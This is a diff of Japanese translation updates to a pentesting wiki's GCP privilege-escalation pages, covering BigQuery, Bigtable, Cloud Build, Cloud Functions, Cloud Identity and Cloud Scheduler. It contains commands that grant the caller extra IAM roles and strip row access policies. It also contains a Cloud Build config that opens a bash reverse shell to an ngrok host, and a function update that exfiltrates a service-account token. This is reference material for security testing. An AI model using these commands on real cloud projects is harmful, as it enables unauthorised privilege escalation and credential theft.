"gs:///table*.csv"
```
+
+
### データの挿入
-**信頼できる特定のデータを** Bigquery テーブルに**挿入することが可能かもしれません。** これは、**`bigquery.tables.get`**、**`bigquery.tables.updateData`**、および **`bigquery.jobs.create`** の権限を使用して簡単に行うことができます：
+別の場所にある脆弱性を悪用するために、BigQuery テーブルに **特定の信頼されたデータを導入** できる場合があります。これは **`bigquery.tables.get`**, **`bigquery.tables.updateData`** および **`bigquery.jobs.create`** の権限があれば簡単に実行できます：
+
+
+BigQuery テーブルにデータを挿入
```bash
# Via query
bq query --nouse_legacy_sql 'INSERT INTO `..` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
@@ -34,9 +47,14 @@ bq query --nouse_legacy_sql 'INSERT INTO `..` (rank,
# Via insert param
bq insert dataset.table /tmp/mydata.json
```
+
+
### `bigquery.datasets.setIamPolicy`
-攻撃者はこの権限を悪用して、BigQueryデータセットに対して**さらなる権限を与える**ことができます：
+攻撃者はこの権限を悪用して、BigQuery データセットに対して **自身にさらなる権限を付与する** ことができます:
+
+
+BigQuery データセットの IAM ポリシーを設定
```bash
# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
@@ -46,9 +64,14 @@ bq add-iam-policy-binding \
# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy
```
+
+
### `bigquery.datasets.update`, (`bigquery.datasets.get`)
-この権限だけで、**ACLを変更することによってBigQueryデータセットへのアクセスを更新することができます**。
+この権限だけで、**誰がアクセスできるかを示す ACLs を変更することで、BigQuery データセットに対するあなたのアクセス権を更新**できます:
+
+
+BigQuery データセットの ACLs を更新
```bash
# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson : > acl.json
@@ -57,9 +80,14 @@ bq update --source acl.json :
## Read it with
bq head $PROJECT_ID:.
```
+
+
### `bigquery.tables.setIamPolicy`
-攻撃者はこの権限を悪用して、BigQueryテーブルに対して**さらなる権限を与える**ことができます：
+攻撃者はこの権限を悪用して、BigQuery テーブルに対して**自分にさらに権限を付与する**ことができます:
+
+
+BigQuery テーブルの IAM ポリシーを設定
```bash
# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
@@ -69,14 +97,24 @@ bq add-iam-policy-binding \
# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy
```
+
+
### `bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create`
-ドキュメントによると、指定された権限を使用すると**行ポリシーを更新する**ことが可能です。\
-しかし、**CLI `bq`を使用する場合**、いくつか追加の権限が必要です: **`bigquery.rowAccessPolicies.create`**、**`bigquery.tables.get`**。
+ドキュメントによると、前述の権限があれば**行アクセスポリシーを更新**できます。\
+しかし、**cli `bq` を使用する場合**、さらに次の権限が必要です: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**。
+
+
+行アクセスポリシーの作成または置換
```bash
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY ON `..` GRANT TO ("") FILTER USING (term = "Cfba");' # A example filter was used
```
-行ポリシー列挙の出力にフィルターIDを見つけることができます。例:
+
+
+row policies の列挙の出力から filter ID を見つけることができます。例：
+
+
+row access policies を列挙する
```bash
bq ls --row_access_policies :.
@@ -84,7 +122,12 @@ Id Filter Predicate Grantees Creation Time Las
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter term = "Cfba" user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09
```
-もし **`bigquery.rowAccessPolicies.delete`** が `bigquery.rowAccessPolicies.update` の代わりにあれば、ポリシーを削除することもできます：
+
+
+もし **`bigquery.rowAccessPolicies.delete`** を `bigquery.rowAccessPolicies.update` の代わりに持っている場合、ポリシーを削除することもできます:
+
+
+行アクセス ポリシーを削除
```bash
# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY ON `..`;'
@@ -92,7 +135,9 @@ bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY ON `.<
# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `..`;'
```
+
+
> [!CAUTION]
-> 行アクセスポリシーを回避する別の潜在的なオプションは、制限されたデータの値を変更することです。`term`が`Cfba`のときにのみ見ることができる場合、テーブルのすべてのレコードを`term = "Cfba"`に変更します。しかし、これはbigqueryによって防止されています。
+> 行アクセスポリシーを回避する別の方法として、制限されたデータの値を単に変更することが考えられます。もし `term` が `Cfba` のときしか見えないなら、テーブル内のすべてのレコードを `term = "Cfba"` に変更すればよい。しかしこれは bigquery によって防止されます。
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md
index 9130028e4..130332020 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md
@@ -4,7 +4,7 @@
## Bigtable
-Bigtable の詳細は以下を参照してください：
+Bigtableの詳細については次を参照してください:
{{#ref}}
../gcp-services/gcp-bigtable-enum.md
@@ -12,39 +12,50 @@ Bigtable の詳細は以下を参照してください：
### `bigtable.instances.setIamPolicy`
-**権限:** `bigtable.instances.setIamPolicy`（通常は現在のバインディングを読み取るために `bigtable.instances.getIamPolicy` も必要です）。
+**権限:** `bigtable.instances.setIamPolicy`（通常、現在のバインディングを読むために `bigtable.instances.getIamPolicy` も必要）。
-インスタンスの IAM ポリシーを所有していれば、自分に **`roles/bigtable.admin`**（または任意のカスタムロール）を付与でき、その権限はインスタンス内のすべてのクラスタ、テーブル、バックアップ、および承認済みビューに連鎖的に適用されます。
+インスタンスのIAMポリシーを管理できれば、インスタンス内のすべてのクラスタ、テーブル、バックアップ、承認済みビューに波及する **`roles/bigtable.admin`**（または任意のカスタムロール）を自分に付与できます。
+
+インスタンスに対して自分に roles/bigtable.admin ロールを付与する
```bash
gcloud bigtable instances add-iam-policy-binding \
--member='user:' \
--role='roles/bigtable.admin'
```
-> [!TIP]
-> 既存のバインディングを一覧表示できない場合は、新しいポリシードキュメントを作成し、自分のアクセス権を維持できる限り `gcloud bigtable instances set-iam-policy` でプッシュしてください。
+
-この権限を得たら、[**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) を確認して、Bigtable の権限を悪用する他の方法を参照してください。
+> [!TIP]
+> 既存のバインディングを一覧できない場合は、新しいポリシードキュメントを作成して、`gcloud bigtable instances set-iam-policy` で適用してください（自分の権限を維持できることが前提です）。
+
+この権限を取得したら、Bigtable の権限を悪用する別の方法については [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) を参照してください。
### `bigtable.tables.setIamPolicy`
-**権限:** `bigtable.tables.setIamPolicy` (オプションで `bigtable.tables.getIamPolicy`)。
+**権限:** `bigtable.tables.setIamPolicy`（オプションで `bigtable.tables.getIamPolicy`）。
-インスタンスのポリシーはロックダウンされ、個別のテーブルが委譲されることがあります。テーブルの IAM を編集できる場合、他のワークロードに触れずに **対象データセットのオーナーに自分を昇格させることができます**。
+インスタンスのポリシーはロックダウンされ、個々のテーブルが委任されている場合があります。テーブルの IAM を編集できるなら、他のワークロードに影響を与えずに**対象データセットのオーナーに自分を昇格させる**ことができます。
+
+テーブル上で自分に bigtable.admin ロールを付与する
```bash
gcloud bigtable tables add-iam-policy-binding \
--instance= \
--member='user:' \
--role='roles/bigtable.admin'
```
-この権限を得たら、詳細については [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) を参照し、Bigtable の権限を悪用する追加の手法を確認してください。
+
+
+この権限を取得したら、[**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) を参照して、Bigtable 権限の悪用方法をさらに確認してください。
+
### `bigtable.backups.setIamPolicy`
**権限:** `bigtable.backups.setIamPolicy`
-バックアップは、あなたが管理する**任意のプロジェクトの任意のインスタンス**に復元できます。まず、自分のアイデンティティにバックアップへのアクセス権を付与し、その後 Admin/Owner ロールを持つサンドボックスに復元します。
+バックアップは、あなたが管理する**任意のプロジェクト内の任意のインスタンス**に復元できます。まず自身のアイデンティティにバックアップへのアクセス権を付与し、その後 Admin/Owner ロールを持つサンドボックスに復元してください。
-もし `bigtable.backups.setIamPolicy` の権限を持っていれば、自分に `bigtable.backups.restore` の権限を付与して古いバックアップを復元し、機密情報へアクセスを試みることができます。
+もし `bigtable.backups.setIamPolicy` 権限を持っていれば、自分に `bigtable.backups.restore` 権限を付与して古いバックアップを復元し、機密情報にアクセスできるか試すことができます。
+
+バックアップスナップショットの所有権を取得
```bash
# Take ownership of the snapshot
gcloud bigtable backups add-iam-policy-binding \
@@ -52,13 +63,18 @@ gcloud bigtable backups add-iam-policy-binding \
--member='user:' \
--role='roles/bigtable.admin'
```
-この権限を持っている場合は、[**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) を確認して、バックアップの復元方法を確認してください。
+
-### authorized view の更新
+この権限を得たら、バックアップを復元する方法は[**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md)を参照してください。
+
+
+### authorized view を更新
**権限:** `bigtable.authorizedViews.update`
-Authorized Views は行や列をマスキング（redact）するためのものです。これを変更または削除すると、**防御側が頼りにしている細かなガードレールが失われます**。
+Authorized Views は行や列を抹消（redact）するためのものです。それらを変更または削除すると、防御側が頼りにしている**細かなガードレールが失われます**。
+
+アクセス範囲を広げるために authorized view を更新
```bash
# Broaden the subset by uploading a permissive definition
gcloud bigtable authorized-views update \
@@ -83,13 +99,17 @@ EOF
gcloud bigtable authorized-views describe \
--instance= --table=
```
-この権限を持っている場合は、[**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) を参照して Authorized View からの読み取り方法を確認してください。
+
+
+この権限チェックについては [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) を参照して、承認済みビューからの読み取り方法を確認してください。
### `bigtable.authorizedViews.setIamPolicy`
**権限:** `bigtable.authorizedViews.setIamPolicy`.
-この権限を持つ攻撃者は、自分自身に Authorized View へのアクセス権を付与でき、通常はアクセスできない機密データが含まれている可能性のあるビューにアクセスできるようになります。
+この権限を持つ攻撃者は、自分自身に承認済みビューへのアクセス権を付与でき、通常はアクセスできない機密データを閲覧できる可能性があります。
+
+自分に承認済みビューへのアクセスを付与する
```bash
# Give more permissions over an existing view
gcloud bigtable authorized-views add-iam-policy-binding \
@@ -97,7 +117,9 @@ gcloud bigtable authorized-views add-iam-policy-binding \
--member='user:' \
--role='roles/bigtable.viewer'
```
-この権限チェックを [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) で行った後、認可されたビューからの読み取り方法を確認します。
+
+
+この権限チェックを行った後、[**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) で authorized view からの読み取り方法を確認してください。
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md
index 8ac66c11f..883952d8e 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md
@@ -2,9 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
-### OAuthブランドとクライアントの作成
+### OAuth ブランドとクライアントの作成
-[**ドキュメントによると**](https://cloud.google.com/iap/docs/programmatic-oauth-clients)、必要な権限は次のとおりです：
+[**According to the docs**](https://cloud.google.com/iap/docs/programmatic-oauth-clients)、これらが必要な権限です：
- `clientauthconfig.brands.list`
- `clientauthconfig.brands.create`
@@ -14,6 +14,8 @@
- `clientauthconfig.clients.getWithSecret`
- `clientauthconfig.clients.delete`
- `clientauthconfig.clients.update`
+
+OAuth ブランドとクライアントを作成
```bash
# Create a brand
gcloud iap oauth-brands list
@@ -21,4 +23,6 @@ gcloud iap oauth-brands create --application_title=APPLICATION_TITLE --support_e
# Create a client of the brand
gcloud iap oauth-clients create projects/PROJECT_NUMBER/brands/BRAND-ID --display_name=NAME
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md
index 12d3bb8d5..3e144a3ea 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md
@@ -4,7 +4,7 @@
## cloudbuild
-Cloud Buildに関する詳細情報は、以下を確認してください：
+Cloud Buildの詳細については次を参照してください:
{{#ref}}
../gcp-services/gcp-cloud-build-enum.md
@@ -12,12 +12,14 @@ Cloud Buildに関する詳細情報は、以下を確認してください：
### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs`
-この権限を使用すると、**クラウドビルドを提出**できます。cloudbuildマシンのファイルシステムには、**デフォルトでcloudbuildサービスアカウントのトークン**が含まれています：`@cloudbuild.gserviceaccount.com`。ただし、cloudbuild構成内で**プロジェクト内の任意のサービスアカウントを指定**することができます。\
-したがって、マシンからトークンをあなたのサーバーに流出させるか、**その中にリバースシェルを取得してトークンを入手する**ことができます（トークンを含むファイルは変更される可能性があります）。
+この権限があれば、**submit a cloud build** できます。cloudbuild マシンのファイルシステムには、**デフォルトで cloudbuild Service Account の token**: `@cloudbuild.gserviceaccount.com` が存在します。しかし、cloudbuild の設定内でプロジェクト内の任意の **service account を指定**できます。\
+したがって、マシンにトークンをあなたのサーバーへ exfiltrate させるか、あるいは**その内部で reverse shell を取得して自分で token を入手する**ことができます（トークンを含むファイルは変更される可能性があります）。
-#### gcloud CLIを介した直接的な悪用
+#### Direct exploitation via gcloud CLI
-1- `cloudbuild.yaml`を作成し、リスナーのデータで修正します。
+1- `cloudbuild.yaml` を作成し、listener の情報で修正する
+
+Cloud Build YAML configuration for reverse shell
```yaml
steps:
- name: bash
@@ -27,19 +29,27 @@ bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
options:
logging: CLOUD_LOGGING_ONLY
```
-2- ソースなしのシンプルなビルドをアップロードし、yamlファイルを指定して、ビルドで使用するSAを指定します:
+
+
+2- ソースなしの簡単な build をアップロードし、yaml ファイルを指定して、ビルドで使用する SA を指定する:
+
+指定した service account を使って Cloud Build を送信する
```bash
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects//serviceAccounts/@.iam.gserviceaccount.com
```
-#### Using python gcloud library
-オリジナルのエクスプロイトスクリプトは[**こちらのGitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py)で見つけることができます（ただし、トークンを取得する場所は私には機能しませんでした）。したがって、[**脆弱な環境の作成、エクスプロイト、およびクリーンアップを自動化するスクリプトはこちら**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh)と、cloudbuildマシン内でリバースシェルを取得し、[**それを盗むためのPythonスクリプトはこちら**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py)を確認してください（コード内で他のサービスアカウントを指定する方法が見つかります）**。**
+
-より詳細な説明については、[https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)を訪れてください。
+#### python gcloud ライブラリの使用
+オリジナルの exploit script は [**here on GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) で見つけられます (ただしトークンを取得している場所は私の環境では動作しませんでした)。そのため、vuln 環境の [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) を自動化するスクリプトと、cloudbuild マシン内で reverse shell を取得して [**steal it here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) する python スクリプトを確認してください (コード内で他の service accounts を指定する方法が見られます)**.**
+
+詳細な説明については [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/) を参照してください
### `cloudbuild.repositories.accessReadToken`
-この権限を持つユーザーは、リポジトリにアクセスするために使用される**読み取りアクセス トークン**を取得できます：
+この権限があれば、ユーザーはリポジトリにアクセスするために使用される **read access token** を取得できます：
+
+リポジトリの read access token を取得する
```bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
@@ -47,9 +57,13 @@ curl -X POST \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects//locations//connections//repositories/:accessReadToken"
```
+
+
### `cloudbuild.repositories.accessReadWriteToken`
-この権限を持つユーザーは、リポジトリにアクセスするために使用される**読み取りおよび書き込みアクセストークン**を取得できます：
+この権限があると、ユーザーはリポジトリへアクセスするために使用される**読み書き用のアクセストークン**を取得できます:
+
+リポジトリの読み書き用アクセストークンを取得する
```bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
@@ -57,12 +71,18 @@ curl -X POST \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects//locations//connections//repositories/:accessReadWriteToken"
```
+
+
### `cloudbuild.connections.fetchLinkableRepositories`
-この権限を使用すると、**接続がアクセスできるリポジトリを取得できます:**
+この権限があれば **接続がアクセスできるリポジトリを取得できます:**
+
+リンク可能なリポジトリを取得
```bash
curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects//locations//connections/:fetchLinkableRepositories"
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md
index 8b99de008..b94d836a0 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md
@@ -4,7 +4,7 @@
## cloudfunctions
-Cloud Functionsに関する詳細情報:
+Cloud Functions に関する詳細情報:
{{#ref}}
../gcp-services/gcp-cloud-functions-enum.md
@@ -12,19 +12,21 @@ Cloud Functionsに関する詳細情報:
### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
-これらの権限を持つ攻撃者は、**任意の（悪意のある）コードを持つ新しいCloud Functionを作成し、それにService Accountを割り当てることができます**。次に、メタデータからService Accountトークンを漏洩させて、その権限を昇格させます。\
-関数をトリガーするためにいくつかの権限が必要な場合があります。
+これらの権限を持つ攻撃者は、**任意（悪意ある）コードを使って新しい Cloud Function を作成し、Service Account を割り当てる**ことができます。その後、メタデータから Service Account トークンを leak して、その権限にエスカレーションできます。\
+関数をトリガーするための追加の権限が必要な場合があります。
-この方法のためのエクスプロイトスクリプトは[こちら](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py)と[こちら](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py)にあり、事前構築された.zipファイルは[こちら](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions)にあります。
+この手法のエクスプロイトスクリプトは [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) と [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) で入手でき、事前ビルドされた .zip ファイルは [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions) で入手できます。
### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
-これらの権限を持つ攻撃者は、**Functionのコードを変更し、トークンを抽出する目的で関連付けられたサービスアカウントを変更することができます**。
+これらの権限を持つ攻撃者は、Function のコードを修正し、割り当てられた Service Account を変更してトークンを exfiltrating することさえできます。
> [!CAUTION]
-> Cloud Functionsをデプロイするには、デフォルトのコンピュートサービスアカウントまたはイメージを構築するために使用されるサービスアカウントに対するactAs権限も必要です。
+> In order to deploy cloud functions you will also need actAs permissions over the default compute service account or over the service account that is used to build the image.
-バージョン1のcloudfunctionsに対する`.call`権限や、関数をトリガーするための役割`role/run.invoker`などの追加の権限が必要な場合があります。
+関数をトリガーするために、version 1 cloudfunctions の `.call` 権限やロール `role/run.invoker` のような追加権限が必要になる場合があります。
+
+Update Cloud Function with malicious code to exfiltrate service account token
```bash
# Create new code
temp_dir=$(mktemp -d)
@@ -54,14 +56,18 @@ gcloud functions deploy \
# Get SA token calling the new function code
gcloud functions call
```
-> [!CAUTION]
-> `Permission 'run.services.setIamPolicy' denied on resource...` というエラーが表示される場合は、`--allow-unauthenticated` パラメータを使用しており、十分な権限がないためです。
+
-この方法のエクスプロイトスクリプトは [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py) にあります。
+> [!CAUTION]
+> エラー `Permission 'run.services.setIamPolicy' denied on resource...` が出る場合、それは `--allow-unauthenticated` パラメータを使用しており、そのための十分な権限がないことが原因です。
+
+The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
### `cloudfunctions.functions.sourceCodeSet`
-この権限を使用すると、**関数バケットにファイルをアップロードするための署名付きURLを取得できます（ただし、関数のコードは変更されず、更新する必要があります）**
+この権限があれば、**関数用バケットにファイルをアップロードできる署名付きURLを取得できます（ただし関数のコード自体は変更されないため、別途更新する必要があります）**
+
+Cloud Function用の署名付きアップロードURLを生成
```bash
# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
@@ -69,38 +75,40 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
-H "Content-Type: application/json" \
-d '{}'
```
-あまり攻撃者の視点からこの権限がどれほど有用かはわかりませんが、知っておくのは良いことです。
+
+
+攻撃者の観点からこの権限だけがどれほど有用かははっきりしませんが、知っておくと良いです。
### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs`
-前述の**`.update`**または**`.create`**のいずれかの権限を自分に与えて昇格します。
+前述のいずれかの **`.update`** または **`.create`** 権限を自分に付与することで権限昇格できます。
### `cloudfunctions.functions.update`
-**`cloudfunctions`**の権限だけでは、**`iam.serviceAccounts.actAs`**がないと関数を更新できないため、これは有効な昇格ではありません。
+単に **`cloudfunctions`** 権限のみを持ち、**`iam.serviceAccounts.actAs`** がない場合、関数を更新することはできません。したがって、これは有効なPRIVESCではありません。
-### バケットに対する読み取りおよび書き込みアクセス
+### Read & Write Access over the bucket
-バケットに対する読み取りおよび書き込みアクセスがある場合、コードの変更を監視でき、バケットで**更新が発生したときに新しいコードを自分のコードに更新**することができ、Cloud Functionの新しいバージョンは提出されたバックドアコードで実行されます。
+バケットに対する読み書き権限があれば、コードの変更を監視でき、バケットで更新が発生した際には**新しいコードを自分のコードに置き換えることで**、提出したbackdooredコードで新しいバージョンのCloud Functionが実行されるようにできます。
-攻撃の詳細については、以下を確認できます：
+You can check more about the attack in:
{{#ref}}
gcp-storage-privesc.md
{{#endref}}
-ただし、これを使用して第三者のCloud Functionsを事前に侵害することはできません。なぜなら、アカウントにバケットを作成し、外部プロジェクトが書き込めるように公開権限を与えると、次のエラーが発生します：
+ただし、自分のアカウントでバケットを作成し、外部プロジェクトが書き込めるように公開権限を与えた場合、次のようなエラーが発生するため、これを使って第三者のCloud Functionsを事前に侵害することはできません：
> [!CAUTION]
-> ただし、これはDoS攻撃に使用される可能性があります。
+> ただし、これはDoS攻撃に利用される可能性があります。
-### Artifact Registryに対する読み取りおよび書き込みアクセス
+### Read & Write Access over Artifact Registry
-Cloud Functionが作成されると、新しいdockerイメージがプロジェクトのArtifact Registryにプッシュされます。新しいイメージでイメージを変更しようとしましたが、現在のイメージ（および`cache`イメージ）を削除しても何も変わらず、Cloud Functionは動作し続けました。したがって、バケットと同様に**レースコンディション攻撃を悪用することができるかもしれません**が、**保存されたイメージを変更するだけではCloud Functionを侵害することはできません**。
+Cloud Functionが作成されると、プロジェクトのArtifact Registryに新しいdockerイメージがプッシュされます。私はイメージを新しいものに置き換えたり、現在のイメージ（および `cache` イメージ）を削除してみましたが、何も変わらず、Cloud Functionは動作し続けました。したがって、バケットと同様に実行されるdockerコンテナを変更するために**Race Condition attackを悪用できる可能性がある**かもしれませんが、**保存されているイメージを単に変更するだけではCloud Functionを危険にさらすことはできません**。
-## 参考文献
+## 参考
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md
index 966f45984..dcb10e6f4 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md
@@ -4,7 +4,7 @@
## Cloudidentity
-cloudidentityサービスに関する詳細情報は、こちらのページを確認してください：
+cloudidentity サービスの詳細については、このページを確認してください：
{{#ref}}
../gcp-services/gcp-iam-and-org-policies-enum.md
@@ -12,14 +12,20 @@ cloudidentityサービスに関する詳細情報は、こちらのページを
### グループに自分を追加する
-ユーザーに十分な権限がある場合やグループが誤って構成されている場合、彼は新しいグループのメンバーになることができるかもしれません：
+ユーザーに十分な権限があるか、グループが誤って設定されている場合、新しいグループのメンバーに自分自身を追加できる可能性があります：
+
+Cloud Identity グループに自分を追加する
```bash
gcloud identity groups memberships add --group-email --member-email [--roles OWNER]
# If --roles isn't specified you will get MEMBER
```
-### グループメンバーシップの変更
+
-ユーザーに十分な権限がある場合、またはグループが誤って構成されている場合、彼は自分がメンバーであるグループのOWNERに自分自身を設定できるかもしれません:
+### グループのメンバーシップを変更する
+
+ユーザーが十分な権限を持っているか、グループが誤設定されている場合、所属するグループで自分をOWNERにすることができるかもしれません:
+
+OWNERになるためにグループのメンバーシップを変更する
```bash
# Check the current membership level
gcloud identity groups memberships describe --member-email --group-email
@@ -27,4 +33,6 @@ gcloud identity groups memberships describe --member-email --group-email
# If not OWNER try
gcloud identity groups memberships modify-membership-roles --group-email --member-email --add-roles=OWNER
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md
index 147f4cff0..824b5f80e 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md
@@ -4,7 +4,7 @@
## Cloud Scheduler
-More information in:
+詳細は以下を参照:
{{#ref}}
../gcp-services/gcp-cloud-scheduler-enum.md
@@ -12,33 +12,47 @@ More information in:
### `cloudscheduler.jobs.create` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
-これらの権限を持つ攻撃者は、**Cloud Scheduler**を利用して**特定のサービスアカウントとしてcronジョブを認証**することができます。HTTP POSTリクエストを作成することで、攻撃者はストレージバケットの作成などのアクションを、サービスアカウントのアイデンティティの下で実行するようにスケジュールします。この方法は、**スケジューラーが`*.googleapis.com`エンドポイントをターゲットにし、リクエストを認証する能力を利用**しており、攻撃者は単純な`gcloud`コマンドを使用してGoogle APIエンドポイントを直接操作することができます。
+これらの権限を持つ攻撃者は、**Cloud Scheduler** を悪用して **cron ジョブを特定のサービスアカウントとして認証させる** ことができます。HTTP POST リクエストを作成することで、攻撃者は Storage バケットの作成などのアクションを、そのサービスアカウントのアイデンティティで実行するようスケジュールできます。この手法は、**Scheduler が `*.googleapis.com` エンドポイントをターゲットにしてリクエストを認証できる点**を利用しており、単純な `gcloud` コマンドで Google API エンドポイントを直接操作することを可能にします。
-- **OAuthトークンヘッダーを使用して`googleapis.com`経由で任意のGoogle APIにアクセス**
+- **`googleapis.com` 経由で任意の Google API に OAuth token header でアクセス**
-新しいストレージバケットを作成:
+Create a new Storage bucket:
+
+API 経由で GCS バケットを作成する Cloud Scheduler ジョブを作成
```bash
